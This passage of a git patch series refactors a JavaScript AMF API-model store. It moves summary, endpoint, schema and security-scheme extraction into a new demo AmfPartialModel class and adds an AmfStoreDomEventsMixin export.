-    const allowedKeys = ['@id', '@type', methodKey, nameKey, descKey];
-    const result = /** @type Operation */ ({ '@id': '', '@type': [] });
-    allowedKeys.forEach((key) => {
-      if (key in operation) {
-        result[key] = operation[key];
-      }
-    });
-    const sm = this.sourceMap(operation[smKey]);
-    if (sm) {
-      result[smKey] = sm;
-    }
-    if (Array.isArray(operation[expectsKey])) {
-      result[expectsKey] = operation[expectsKey].map(i => ({ '@id': i['@id'] }));
-    }
-    if (Array.isArray(operation[securityKey])) {
-      result[securityKey] = operation[securityKey].map(i => ({ '@id': i['@id'] }));
-    }
-    return result;
+  constructor(eventsTarget=window, graph) {
+    super(eventsTarget, graph);
+    this.partial = new AmfPartialModel(graph);
   }
 
   /**
-   * @param {DomainElement[]} items
+   * @param {AmfDocument} amf
    */
-  sourceMap(items) {
-    if (!Array.isArray(items) || !items.length) {
-      return null;
-    }
-    const { ns } = this;
-    const result = [];
-    const lexicalKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.lexical);
-    const declaredElementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.declaredElement);
-    const elementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.element);
-    const trackedElementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.trackedElement);
-    const valueKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.value);
-    const synthesizedFieldKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.synthesizedField);
-    const allowedKeys = ['@id', lexicalKey, declaredElementKey, elementKey, trackedElementKey, valueKey, synthesizedFieldKey];
-    items.forEach((item) => {
-      const cp = { };
-      allowedKeys.forEach((key) => {
-        if (key in item) {
-          if (key === lexicalKey) {
-            cp[key] = item[key].map((field) => this._getValue(field, valueKey));
-            return;
-          }
-          if (key === declaredElementKey) {
-            cp[key] = item[key].map((field) => this._getValue(field, elementKey));
-            return;
-          }
-          if (key === trackedElementKey) {
-            cp[key] = item[key].map((field) => this._getValue(field, valueKey));
-            return;
-          }
-          cp[key] = item[key];
-        }
-      });
-      result.push(cp);
-    });
-    return result;
+  __amfChanged(amf) {
+    this.partial.amf = amf;
+    super.__amfChanged(amf);
   }
 
   /**
-   * @param {DomainElement} security
-   * @returns {DomainElement}
+   * @returns {Promise<ApiSummary>} The API base definition 
    */
-  summarySecurity(security) {
-    const { ns } = this;
-    const coreNameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
-    const coreDisplayNameKey = this._getAmfKey(ns.aml.vocabularies.core.displayName);
-    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
-    const typeKey = this._getAmfKey(ns.aml.vocabularies.security.type);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const allowedKeys = ['@id', '@type', coreNameKey, coreDisplayNameKey, descKey, typeKey];
-
-    const result = /** @type DomainElement */ ({});
-    Object.keys(security).forEach((key) => {
-      if (allowedKeys.includes(key)) {
-        result[key] = security[key];
-        return;
-      }
-      if (key === smKey) {
-        result[smKey] = this.sourceMap(security[key]);
-        return;
-      }
-      if (Array.isArray(security[key])) {
-        const values = [];
-        security[key].forEach((value) => {
-          if (typeof value === 'object' && value['@id']) {
-            values.push(value['@id']);
-          }
-        });
-        if (values.length) {
-          result[key] = values;
-        }
-      }
-    });
-
-    return result;
+  async apiSummary() {
+    const model = this.partial.summaryPartial();
+    return this.serializer.apiSummary(model);
   }
 
   /**
-   * @param {string} domainId
-   * @param {object} context
-   * @returns {DomainElement|undefined} Model definition for a type.
+   * Reads an endpoint by its id.
+   * @param {string} id The domain id of the endpoint.
+   * @returns {Promise<ApiEndPoint|null>} 
    */
-  endpoint(domainId, context) {
-    const webApi = this._computeApi(this.amf);
-    const ep = this._computeEndpointModel(webApi, domainId);
-    if (!ep) {
-      return undefined;
-    }
-    const result = { ...ep };
-    const { ns } = this;
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation);
-    const sm = this.sourceMap(result[smKey]);
-    if (sm) {
-      result[smKey] = sm;
-    }
-    const srvKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server);
-    const servers = webApi[srvKey];
-    if (!Array.isArray(result[srvKey]) || !result[srvKey].length && servers) {
-      result[srvKey] = [...servers];
-    }
-    if (Array.isArray(result[operationsKey])) {
-      result[operationsKey] = result[operationsKey].map((op) => {
-        const item = { ...op };
-        const opSm = this.sourceMap(item[smKey]);
-        if (opSm) {
-          item[smKey] = opSm;
-        }
-        return item;
-      });
-    }
-    if (context) {
-      result['@context'] = context;
-    }
-    return JSON.parse(JSON.stringify(result));
+  async getEndpoint(id) {
+    const model = this.partial.endpoint(id);
+    return this.serializer.endPoint(model);
   }
 
   /**
-   * @param {string} domainId
-   * @param {object} context
-   * @returns {DomainElement|undefined} Model definition for a type.
+   * Reads the operation model.
+   * @param {string} operationId The domain id of the operation to read.
+   * @param {string=} endpointId Optional endpoint id. When not set it searches through all endpoints.
+   * @returns {Promise<ApiOperation>}
    */
-  schema(domainId, context) {
-    const schema = this.computeTypeApiModel(this.amf, domainId);
-    if (!schema) {
+  async getOperation(operationId, endpointId) {
+    const model = this.partial.endpoint(endpointId);
+    if (!model) {
       return undefined;
     }
-    const result = { ...schema };
-    const { ns } = this;
-    const propertyKey = this._getAmfKey(ns.w3.shacl.property);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const sm = this.sourceMap(result[smKey]);
-    if (sm) {
-      result[smKey] = sm;
-    }
-    if (Array.isArray(result[propertyKey])) {
-      result[propertyKey] = result[propertyKey].map(r => this.summaryProperty(r));
-    }
-    if (context) {
-      result['@context'] = context;
-    }
-    return JSON.parse(JSON.stringify(result));
+    const endpoint = this.serializer.endPoint(model);
+    const op = endpoint.operations.find(i => i.id === operationId);
+    return op;
   }
 
   /**
-   * @param {string} domainId
-   * @param {object} context
-   * @returns {DomainElement|undefined} Model definition for a type.
+   * Finds an endpoint that has the operation.
+   * @param {string} id Method name or the domain id of the operation to find
+   * @returns {Promise<ApiEndPoint|undefined>}
    */
-  securityRequirement(domainId, context) {
-    const schema = this.computeSecurityApiModel(this.amf, domainId);
-    if (!schema) {
+  async getOperationParent(id) {
+    const model = this.partial.partialOperationEndpoint(id);
+    if (!model) {
       return undefined;
     }
-    const result = { ...schema };
-    const { ns } = this;
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const sm = this.sourceMap(result[smKey]);
-    if (sm) {
-      result[smKey] = sm;
-    }
-    if (context) {
-      result['@context'] = context;
-    }
-    return JSON.parse(JSON.stringify(result));
+    return this.serializer.endPoint(model);
   }
 
   /**
-   * @param {DomainElement} property
-   * @returns {DomainElement}
+   * @param {string} domainId The domain id of the API type (schema).
+   * @returns {Promise<ApiShapeUnion>}
    */
-  summaryProperty(property) {
-    const result = {...property};
-    const { ns } = this;
-    const rangeKey = this._getAmfKey(ns.w3.shacl.property);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const sm = this.sourceMap(result[smKey]);
-    if (sm) {
-      result[smKey] = sm;
-    }
-    if (Array.isArray(property[rangeKey])) {
-      result[rangeKey] = property[rangeKey].map(r => this.summaryRange(r));
-    }
-    return result;
-  }
-
-  /**
-   * @param {DomainElement} property
-   * @returns {DomainElement}
-   */
-  summaryRange(property) {
-    const result = {...property};
-    const { ns } = this;
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const sm = this.sourceMap(result[smKey]);
-    if (sm) {
-      result[smKey] = sm;
-    }
-    return result;
-  }
-
-  /**
-   * Computes type definition model from web API and current selection.
-   * It looks for the definition in both `declares` and `references` properties.
-   * Returned value is already resolved AMF model (references are resolved).
-   *
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for a type.
-   */
-  computeTypeApiModel(model, domainId) {
-    const declares = this._computeDeclares(model);
-    const references = this._computeReferences(model);
-    return this._computeType(declares, references, domainId);
-  }
-
-  /**
-   * Computes security scheme definition model from web API and current selection.
-   * It looks for the definition in both `declares` and `references` properties.
-   * Returned value is already resolved AMF model (references are resolved).
-   *
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for the security scheme.
-   */
-  computeSecurityApiModel(model, domainId) {
-    const declares = this._computeDeclares(model);
-    if (declares) {
-      const result = declares.find((item) => item['@id'] === domainId);
-      if (result) {
-        return this._resolve(result);
-      }
-    }
-    const references = this._computeReferences(model);
-    if (Array.isArray(references) && references.length) {
-      for (const reference of references) {
-        if (this._hasType(reference, this.ns.aml.vocabularies.document.Module)) {
-          const result = this.computeReferenceSecurity(reference, domainId);
-          if (result) {
-            return this._resolve(result);
-          }
-        } 
-      }
-    }
-    return undefined;
-  }
-
-  /**
-   * Computes a security model from a reference (library for example).
-   * @param {AmfDocument} reference AMF model for a reference to extract the data from
-   * @param {string} domainId Node ID to look for
-   * @returns {DomainElement|undefined} Type definition or undefined if not found.
-   */
-  computeReferenceSecurity(reference, domainId) {
-    const declare = this._computeDeclares(reference);
-    if (!declare) {
+  async getType(domainId) {
+    const model = this.partial.schema(domainId);
+    if (!model) {
       return undefined;
     }
-    let result = declare.find((item) => {
-      if (Array.isArray(item)) {
-        [item] = item;
-      }
-      return item['@id'] === domainId;
-    });
-    if (Array.isArray(result)) {
-      [result] = result;
-    }
-    return this._resolve(result);
+    return this.serializer.unknownShape(model);
   }
 }
diff --git a/demo/lib/AmfPartialModel.js b/demo/lib/AmfPartialModel.js
new file mode 100644
index 0000000..2ddbb3a
--- /dev/null
+++ b/demo/lib/AmfPartialModel.js
@@ -0,0 +1,541 @@
+/* eslint-disable no-param-reassign */
+import { AmfHelperMixin } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Api} Api */
+/** @typedef {import('../../src/helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../../src/helpers/amf').Operation} Operation */
+/** @typedef {import('../../src/helpers/api').ApiSummary} ApiSummary */
+
+export class AmfPartialModel extends AmfHelperMixin(Object) {
+  /**
+   * @param {AmfDocument} amf
+   */
+  __amfChanged(amf) {
+    this.context = amf['@context'];
+    super.__amfChanged(amf);
+  }
+
+  /** @returns AmfDocument */
+  summaryPartial() {
+    const { amf, ns } = this;
+    if (!amf) {
+      return null;
+    }
+    const result = {};
+    result['@id'] = amf['@id'];
+    result['@type'] = amf['@type'];
+    if (amf['@context']) {
+      result['@context'] = amf['@context'];
+    }
+    const declaresKey = this._getAmfKey(ns.aml.vocabularies.document.declares);
+    const declares = this.summaryDeclares(amf[declaresKey]);
+    if (declares) {
+      result[declaresKey] = declares;
+    }
+    const encodesKey = this._getAmfKey(ns.aml.vocabularies.document.encodes);
+    const encodes = this.summaryEncodes(amf[encodesKey]);
+    if (encodes) {
+      result[encodesKey] = encodes;
+    }
+    const referencesKey = this._getAmfKey(ns.aml.vocabularies.document.references);
+    const references = this.summaryReferences(amf[referencesKey]);
+    if (references) {
+      result[referencesKey] = references;
+    }
+    return JSON.parse(JSON.stringify(result));
+  }
+
+  /**
+   * @param {DomainElement[]} declares
+   * @returns {DomainElement[]}
+   */
+  summaryDeclares(declares) {
+    if (!Array.isArray(declares) || !declares.length) {
+      return null;
+    }
+    const { ns } = this;
+    const closedKey = this._getAmfKey(ns.w3.shacl.closed);
+    const nameKey = this._getAmfKey(ns.w3.shacl.name);
+    const coreNameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
+    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
+    const examplesKey = this._getAmfKey(ns.aml.vocabularies.apiContract.examples);
+    const dataNodeKey = this._getAmfKey(ns.aml.vocabularies.document.dataNode);
+    const variableKey = this._getAmfKey(ns.aml.vocabularies.document.variable);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const securitySchemeKey = this._getAmfKey(ns.aml.vocabularies.security.SecurityScheme);
+    const result = [];
+    const allowedKeys = ['@id', '@type', closedKey, nameKey, coreNameKey, descKey];
+    declares.forEach((item) => {
+      if (item['@type'].includes(securitySchemeKey)) {
+        result.push(this.summarySecurity(item));
+        return;
+      }
+      const cp = { };
+      allowedKeys.forEach((key) => {
+        if (key in item) {
+          cp[key] = item[key];
+        }
+      });
+      const sm = this.sourceMap(item[smKey]);
+      if (sm) {
+        cp[smKey] = sm;
+      }
+      if (examplesKey in item) {
+        cp[examplesKey] = item[examplesKey].map(example => ({ '@id': example['@id'] }));
+      }
+      if (dataNodeKey in item) {
+        cp[dataNodeKey] = item[dataNodeKey].map(dn => ({ '@id': dn['@id'] }));
+      }
+      if (variableKey in item) {
+        cp[variableKey] = item[variableKey].map(variable => variable['@value']);
+      }
+      result.push(cp);
+    });
+    return result;
+  }
+
+  /**
+   * @param {DomainElement[]} encodes
+   * @returns {Api[]}
+   */
+  summaryEncodes(encodes) {
+    if (!Array.isArray(encodes) || !encodes.length) {
+      return null;
+    }
+    const { ns } = this;
+    const result = [];
+    const acceptsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.accepts);
+    const contentTypeKey = this._getAmfKey(ns.aml.vocabularies.apiContract.contentType);
+    const mediaTypeKey = this._getAmfKey(ns.aml.vocabularies.core.mediaType);
+    const schemeKey = this._getAmfKey(ns.aml.vocabularies.apiContract.scheme);
+    const serverKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server);
+    const endpointKey = this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint);
+    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
+    const nameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
+    const versionKey = this._getAmfKey(ns.aml.vocabularies.core.version);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const allowedKeys = ['@id', '@type', acceptsKey, contentTypeKey, schemeKey, descKey, nameKey, versionKey, mediaTypeKey];
+
+    encodes.forEach((item) => {
+      const cp = {};
+      allowedKeys.forEach((key) => {
+        if (key in item) {
+          cp[key] = item[key];
+        }
+      });
+      const sm = this.sourceMap(item[smKey]);
+      if (sm) {
+        cp[smKey] = sm;
+      }
+      if (serverKey in item) {
+        cp[serverKey] = item[serverKey].map((server) => {
+          const srv = { ...server };
+          const srvSm = this.sourceMap(srv[smKey]);
+          if (srvSm) {
+            srv[smKey] = srvSm;
+          }
+          return srv;
+        });
+      }
+      if (Array.isArray(item[endpointKey])) {
+        cp[endpointKey] = item[endpointKey].map(endpoint => this.summaryEndpoint(endpoint));
+      }
+      result.push(cp);
+    });
+    return result;
+  }
+
+  /**
+   * @param {DomainElement[]} references
+   * @returns {DomainElement[]}
+   */
+  summaryReferences(references) {
+    if (!Array.isArray(references) || !references.length) {
+      return null;
+    }
+    const result = [];
+
+    const { ns } = this;
+    const rootKey = this._getAmfKey(ns.aml.vocabularies.document.root);
+    const usageKey = this._getAmfKey(ns.aml.vocabularies.document.usage);
+    const versionKey = this._getAmfKey(ns.aml.vocabularies.document.version);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const allowedKeys = ['@id', '@type', rootKey, usageKey, versionKey];
+    
+    const encodesKey = this._getAmfKey(ns.aml.vocabularies.document.encodes);
+    const declaresKey = this._getAmfKey(ns.aml.vocabularies.document.declares);
+    const referencesKey = this._getAmfKey(ns.aml.vocabularies.document.references);
+
+    references.forEach((item) => {
+      const unit = {};
+      allowedKeys.forEach((key) => {
+        if (key in item) {
+          unit[key] = item[key];
+        }
+      });
+      const sm = this.sourceMap(item[smKey]);
+      if (sm) {
+        unit[smKey] = sm;
+      }
+      const declares = this.summaryDeclares(item[declaresKey]);
+      if (declares) {
+        unit[declaresKey] = declares;
+      }
+      const encodes = this.summaryEncodes(item[encodesKey]);
+      if (encodes) {
+        unit[encodesKey] = encodes;
+      }
+      const refs = this.summaryReferences(item[referencesKey]);
+      if (refs) {
+        result[referencesKey] = refs;
+      }
+      result.push(unit);
+    });
+    return result;
+  }
+
+  /**
+   * @param {EndPoint} endpoint
+   * @returns {EndPoint}
+   */
+  summaryEndpoint(endpoint) {
+    const { ns } = this;
+    const pathKey = this._getAmfKey(ns.aml.vocabularies.apiContract.path);
+    const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const allowedKeys = ['@id', '@type', pathKey];
+    const result = /** @type EndPoint */ ({ '@id': '', '@type': [] });
+    allowedKeys.forEach((key) => {
+      if (key in endpoint) {
+        result[key] = endpoint[key];
+      }
+    });
+    const sm = this.sourceMap(endpoint[smKey]);
+    if (sm) {
+      result[smKey] = sm;
+    }
+    if (Array.isArray(endpoint[operationsKey])) {
+      result[operationsKey] = endpoint[operationsKey].map(op => this.summaryOperation(op));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Operation} operation
+   * @returns {Operation}
+   */
+  summaryOperation(operation) {
+    const { ns } = this;
+    const methodKey = this._getAmfKey(ns.aml.vocabularies.apiContract.method);
+    const expectsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.expects);
+    const securityKey = this._getAmfKey(ns.aml.vocabularies.security.security);
+    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
+    const nameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const allowedKeys = ['@id', '@type', methodKey, nameKey, descKey];
+    const result = /** @type Operation */ ({ '@id': '', '@type': [] });
+    allowedKeys.forEach((key) => {
+      if (key in operation) {
+        result[key] = operation[key];
+      }
+    });
+    const sm = this.sourceMap(operation[smKey]);
+    if (sm) {
+      result[smKey] = sm;
+    }
+    if (Array.isArray(operation[expectsKey])) {
+      result[expectsKey] = operation[expectsKey].map(i => ({ '@id': i['@id'] }));
+    }
+    if (Array.isArray(operation[securityKey])) {
+      result[securityKey] = operation[securityKey].map(i => ({ '@id': i['@id'] }));
+    }
+    return result;
+  }
+
+  /**
+   * @param {DomainElement[]} items
+   */
+  sourceMap(items) {
+    if (!Array.isArray(items) || !items.length) {
+      return null;
+    }
+    const { ns } = this;
+    const result = [];
+    const lexicalKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.lexical);
+    const declaredElementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.declaredElement);
+    const elementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.element);
+    const trackedElementKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.trackedElement);
+    const valueKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.value);
+    const synthesizedFieldKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.synthesizedField);
+    const allowedKeys = ['@id', lexicalKey, declaredElementKey, elementKey, trackedElementKey, valueKey, synthesizedFieldKey];
+    items.forEach((item) => {
+      const cp = { };
+      allowedKeys.forEach((key) => {
+        if (key in item) {
+          if (key === lexicalKey) {
+            cp[key] = item[key].map((field) => this._getValue(field, valueKey));
+            return;
+          }
+          if (key === declaredElementKey) {
+            cp[key] = item[key].map((field) => this._getValue(field, elementKey));
+            return;
+          }
+          if (key === trackedElementKey) {
+            cp[key] = item[key].map((field) => this._getValue(field, valueKey));
+            return;
+          }
+          cp[key] = item[key];
+        }
+      });
+      result.push(cp);
+    });
+    return result;
+  }
+
+  /**
+   * @param {DomainElement} security
+   * @returns {DomainElement}
+   */
+  summarySecurity(security) {
+    const { ns } = this;
+    const coreNameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
+    const coreDisplayNameKey = this._getAmfKey(ns.aml.vocabularies.core.displayName);
+    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
+    const typeKey = this._getAmfKey(ns.aml.vocabularies.security.type);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const allowedKeys = ['@id', '@type', coreNameKey, coreDisplayNameKey, descKey, typeKey];
+
+    const result = /** @type DomainElement */ ({});
+    Object.keys(security).forEach((key) => {
+      if (allowedKeys.includes(key)) {
+        result[key] = security[key];
+        return;
+      }
+      if (key === smKey) {
+        result[smKey] = this.sourceMap(security[key]);
+        return;
+      }
+      if (Array.isArray(security[key])) {
+        const values = [];
+        security[key].forEach((value) => {
+          if (typeof value === 'object' && value['@id']) {
+            values.push(value['@id']);
+          }
+        });
+        if (values.length) {
+          result[key] = values;
+        }
+      }
+    });
+
+    return result;
+  }
+
+  /**
+   * @param {string} domainId
+   * @returns {DomainElement|undefined} Model definition for a type.
+   */
+  endpoint(domainId) {
+    const { context } = this;
+    const webApi = this._computeApi(this.amf);
+    const ep = this._computeEndpointModel(webApi, domainId);
+    if (!ep) {
+      return undefined;
+    }
+    const result = { ...ep };
+    const { ns } = this;
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation);
+    const sm = this.sourceMap(result[smKey]);
+    if (sm) {
+      result[smKey] = sm;
+    }
+    const srvKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server);
+    const servers = webApi[srvKey];
+    if (!Array.isArray(result[srvKey]) || !result[srvKey].length && servers) {
+      result[srvKey] = [...servers];
+    }
+    if (Array.isArray(result[operationsKey])) {
+      result[operationsKey] = result[operationsKey].map((op) => {
+        const item = { ...op };
+        const opSm = this.sourceMap(item[smKey]);
+        if (opSm) {
+          item[smKey] = opSm;
+        }
+        return item;
+      });
+    }
+    if (context) {
+      result['@context'] = context;
+    }
+    return JSON.parse(JSON.stringify(result));
+  }
+
+  /**
+   * @param {string} domainId
+   * @returns {DomainElement|undefined} Model definition for a type.
+   */
+  schema(domainId) {
+    const { context } = this;
+    const schema = this.computeTypeApiModel(this.amf, domainId);
+    if (!schema) {
+      return undefined;
+    }
+    const result = { ...schema };
+    const { ns } = this;
+    const propertyKey = this._getAmfKey(ns.w3.shacl.property);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const sm = this.sourceMap(result[smKey]);
+    if (sm) {
+      result[smKey] = sm;
+    }
+    if (Array.isArray(result[propertyKey])) {
+      result[propertyKey] = result[propertyKey].map(r => this.summaryProperty(r));
+    }
+    if (context) {
+      result['@context'] = context;
+    }
+    return JSON.parse(JSON.stringify(result));
+  }
+
+  /**
+   * @param {string} domainId
+   * @returns {DomainElement|undefined} Model definition for a type.
+   */
+  securityRequirement(domainId) {
+    const { context } = this;
+    const schema = this.computeSecurityApiModel(this.amf, domainId);
+    if (!schema) {
+      return undefined;
+    }
+    const result = { ...schema };
+    const { ns } = this;
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const sm = this.sourceMap(result[smKey]);
+    if (sm) {
+      result[smKey] = sm;
+    }
+    if (context) {
+      result['@context'] = context;
+    }
+    return JSON.parse(JSON.stringify(result));
+  }
+
+  /**
+   * @param {DomainElement} property
+   * @returns {DomainElement}
+   */
+  summaryProperty(property) {
+    const result = {...property};
+    const { ns } = this;
+    const rangeKey = this._getAmfKey(ns.w3.shacl.property);
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const sm = this.sourceMap(result[smKey]);
+    if (sm) {
+      result[smKey] = sm;
+    }
+    if (Array.isArray(property[rangeKey])) {
+      result[rangeKey] = property[rangeKey].map(r => this.summaryRange(r));
+    }
+    return result;
+  }
+
+  /**
+   * @param {DomainElement} property
+   * @returns {DomainElement}
+   */
+  summaryRange(property) {
+    const result = {...property};
+    const { ns } = this;
+    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
+    const sm = this.sourceMap(result[smKey]);
+    if (sm) {
+      result[smKey] = sm;
+    }
+    return result;
+  }
+
+  /**
+   * Computes type definition model from web API and current selection.
+   * It looks for the definition in both `declares` and `references` properties.
+   * Returned value is already resolved AMF model (references are resolved).
+   *
+   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {DomainElement|undefined} Model definition for a type.
+   */
+  computeTypeApiModel(model, domainId) {
+    const declares = this._computeDeclares(model);
+    const references = this._computeReferences(model);
+    return this._computeType(declares, references, domainId);
+  }
+
+  /**
+   * Computes security scheme definition model from web API and current selection.
+   * It looks for the definition in both `declares` and `references` properties.
+   * Returned value is already resolved AMF model (references are resolved).
+   *
+   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {DomainElement|undefined} Model definition for the security scheme.
+   */
+  computeSecurityApiModel(model, domainId) {
+    const declares = this._computeDeclares(model);
+    if (declares) {
+      const result = declares.find((item) => item['@id'] === domainId);
+      if (result) {
+        return this._resolve(result);
+      }
+    }
+    const references = this._computeReferences(model);
+    if (Array.isArray(references) && references.length) {
+      for (const reference of references) {
+        if (this._hasType(reference, this.ns.aml.vocabularies.document.Module)) {
+          const result = this.computeReferenceSecurity(reference, domainId);
+          if (result) {
+            return this._resolve(result);
+          }
+        } 
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Computes a security model from a reference (library for example).
+   * @param {AmfDocument} reference AMF model for a reference to extract the data from
+   * @param {string} domainId Node ID to look for
+   * @returns {DomainElement|undefined} Type definition or undefined if not found.
+   */
+  computeReferenceSecurity(reference, domainId) {
+    const declare = this._computeDeclares(reference);
+    if (!declare) {
+      return undefined;
+    }
+    let result = declare.find((item) => {
+      if (Array.isArray(item)) {
+        [item] = item;
+      }
+      return item['@id'] === domainId;
+    });
+    if (Array.isArray(result)) {
+      [result] = result;
+    }
+    return this._resolve(result);
+  }
+
+  /**
+   * @param {string} domainId
+   * @returns {DomainElement|undefined} Model definition for a type.
+   */
+  partialOperationEndpoint(domainId) {
+    const api = this._computeApi(this.amf);
+    const endpoint = this._computeMethodEndpoint(api, domainId);
+    if (!endpoint) {
+      return undefined;
+    }
+    return this.endpoint(endpoint['@id']);
+  }
+}
diff --git a/index.d.ts b/index.d.ts
index 7da4016..24b7da6 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -44,3 +44,4 @@ export { ServerChangeEvent, ServerChangeEventDetail, ServerCountChangeEvent, Ser
 export { TelemetryCustomMetric, TelemetryCustomValue, TelemetryDetail, TelemetryEventDetail, TelemetryExceptionDetail, TelemetryScreenViewDetail, TelemetrySocialDetail, TelemetryTimingDetail } from './src/events/TelemetryEvents';
 export { DomEventsAmfStore } from './src/store/DomEventsAmfStore';
 export { AmfStore } from './src/store/AmfStore';
+export { AmfStoreDomEventsMixin } from './src/store/mixins/AmfStoreDomEventsMixin';
diff --git a/index.js b/index.js
index 874c6bf..e67147a 100644
--- a/index.js
+++ b/index.js
@@ -37,3 +37,4 @@ export { ApiSchemaValues } from './src/schema/ApiSchemaValues.js';
 export { ApiSchemaGenerator } from './src/schema/ApiSchemaGenerator.js';
 export { DomEventsAmfStore } from './src/store/DomEventsAmfStore.js';
 export { AmfStore } from './src/store/AmfStore.js';
+export { AmfStoreDomEventsMixin } from './src/store/mixins/AmfStoreDomEventsMixin.js';

From 0a33ba68601da212de2aeb26a9e9d303bf311d59 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 23 Oct 2021 02:14:39 -0700
Subject: [PATCH 31/36] feat: adding support for local graph context

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-documentation-partial.js |    8 +-
 demo/lib/AmfDemoBase.js           |    7 +-
 demo/lib/AmfPartialGraphStore.js  |  236 +++++-
 demo/lib/AmfPartialModel.js       |  120 ++-
 index.d.ts                        |    1 +
 index.js                          |    1 +
 src/helpers/AmfHelperMixin.d.ts   |  120 +--
 src/helpers/AmfHelperMixin.js     |  282 ++++---
 src/helpers/AmfSerializer.d.ts    |  128 ++--
 src/helpers/AmfSerializer.js      | 1146 ++++++++++++++++-------------
 src/helpers/amf.d.ts              |    1 +
 src/store/AmfStore.d.ts           |   42 +-
 src/store/AmfStore.js             |  457 +-----------
 src/store/DomEventsAmfStore.d.ts  |    4 +-
 src/store/DomEventsAmfStore.js    |    4 +-
 src/store/InMemAmfGraphStore.d.ts |  176 +++++
 src/store/InMemAmfGraphStore.js   |  619 ++++++++++++++++
 17 files changed, 2111 insertions(+), 1241 deletions(-)
 create mode 100644 src/store/InMemAmfGraphStore.d.ts
 create mode 100644 src/store/InMemAmfGraphStore.js

diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index 2129b4b..44e52b7 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -37,8 +37,8 @@ class ComponentDemo extends AmfDemoBase {
       'summaryModel', 'partialModelDocs'
     ]);
     this.store.unlisten();
-    this.partialStore = new AmfPartialGraphStore();
-    this.partialStore.listen();
+    this.store = new AmfPartialGraphStore();
+    this.store.listen();
     this.componentName = 'api-documentation';
     this.editorOpened = false;
     this.editorOperation = undefined;
@@ -69,14 +69,14 @@ class ComponentDemo extends AmfDemoBase {
     if (Array.isArray(amf)) {
       [amf] = amf;
     }
-    this.partialStore.amf = amf;
+    /** @type AmfPartialGraphStore */ (this.store).amf = amf;
     this.context = amf['@context'];
     await this.loadSummary();
   }
   
   async loadSummary() {
     // debugger
-    const model = await this.partialStore.apiSummary();
+    const model = await this.store.apiSummary();
     this.summaryModel = model;
     this.partialModelDocs = model;
     console.log(model);
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
